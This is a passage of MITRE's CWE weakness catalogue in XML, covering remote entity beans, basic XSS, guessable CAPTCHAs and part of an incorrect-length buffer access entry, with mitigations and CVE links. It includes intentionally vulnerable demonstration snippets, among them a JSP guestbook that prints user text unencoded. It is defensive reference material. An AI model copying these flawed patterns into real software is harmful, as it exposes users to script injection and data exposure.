					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="8" Name="J2EE Misconfiguration: Entity Bean Declared Remote" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;ejb-jar&gt;<xhtml:div style="margin-left:1em;">&lt;enterprise-beans&gt;<xhtml:div style="margin-left:1em;">&lt;entity&gt;<xhtml:div style="margin-left:1em;">&lt;ejb-name&gt;EmployeeRecord&lt;/ejb-name&gt;<xhtml:br/>&lt;home&gt;com.wombat.empl.EmployeeRecordHome&lt;/home&gt;<xhtml:br/>&lt;remote&gt;com.wombat.empl.EmployeeRecord&lt;/remote&gt;<xhtml:br/>...</xhtml:div>&lt;/entity&gt;<xhtml:br/>...</xhtml:div>&lt;/enterprise-beans&gt;</xhtml:div>&lt;/ejb-jar&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Misconfiguration: Unsafe Bean Declaration</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="80" Name="Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "&lt;", "&gt;", and "&amp;" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.</Description>
         <Extended_Description>This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {<xhtml:div style="margin-left:1em;">Entry e = (Entry) i.next(); %&gt;<xhtml:br/>&lt;p&gt;Entry #&lt;%= e.getId() %&gt;&lt;/p&gt;<xhtml:br/>&lt;p&gt;&lt;%= e.getText() %&gt;&lt;/p&gt;<xhtml:br/>&lt;%<xhtml:br/>} %&gt;</xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0938</Reference>
               <Description>XSS in parameter in a link.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0938</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1495</Reference>
               <Description>XSS in web-based email product via attachment filenames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1495</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1136</Reference>
               <Description>HTML injection in posted message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1136</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2171</Reference>
               <Description>XSS not quoted in error page.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2171</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Basic XSS</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="18"/>
            <Related_Attack_Pattern CAPEC_ID="193"/>
            <Related_Attack_Pattern CAPEC_ID="32"/>
            <Related_Attack_Pattern CAPEC_ID="86"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Basic XSS</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Script-Related HTML Tags in a Web Page (Basic XSS)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="804" Name="Guessable CAPTCHA" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.</Description>
         <Extended_Description>
            <xhtml:p>An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.</xhtml:p>
            <xhtml:p>There can be several different causes of a guessable CAPTCHA:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>An audio or visual image that does not have sufficient distortion from the unobfuscated source image.</xhtml:li>
                  <xhtml:li>A question is generated with a format that can be automatically recognized, such as a math question.</xhtml:li>
                  <xhtml:li>A question for which the number of possible answers is limited, such as birth years or favorite sports teams.</xhtml:li>
                  <xhtml:li>A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular entertainers.</xhtml:li>
                  <xhtml:li>Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.</Note>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>21</Entry_ID>
               <Entry_Name>Insufficient Anti-Automation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-731"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
               <Submission_Comment>New entry to handle anti-automation as identified in WASC.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="805" Name="Buffer Access with Incorrect Length Value" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.</Description>
         <Extended_Description>When the length value exceeds the size of the destination, a buffer overflow could occur.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Assembly" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Detection techniques for buffer-related errors are more mature than for most other weakness types.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-9">
               <Method>Manual Analysis</Method>
               <Description>Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.</xhtml:p>
                  <xhtml:p>Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a complete solution, since many buffer overflows are not related to strings.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-9">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Consider adhering to the following rules when allocating and managing an application's memory:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Double check that the buffer is as large as specified.</xhtml:li>
                        <xhtml:li>When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.</xhtml:li>
                        <xhtml:li>Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.</xhtml:li>
                        <xhtml:li>If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
                <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
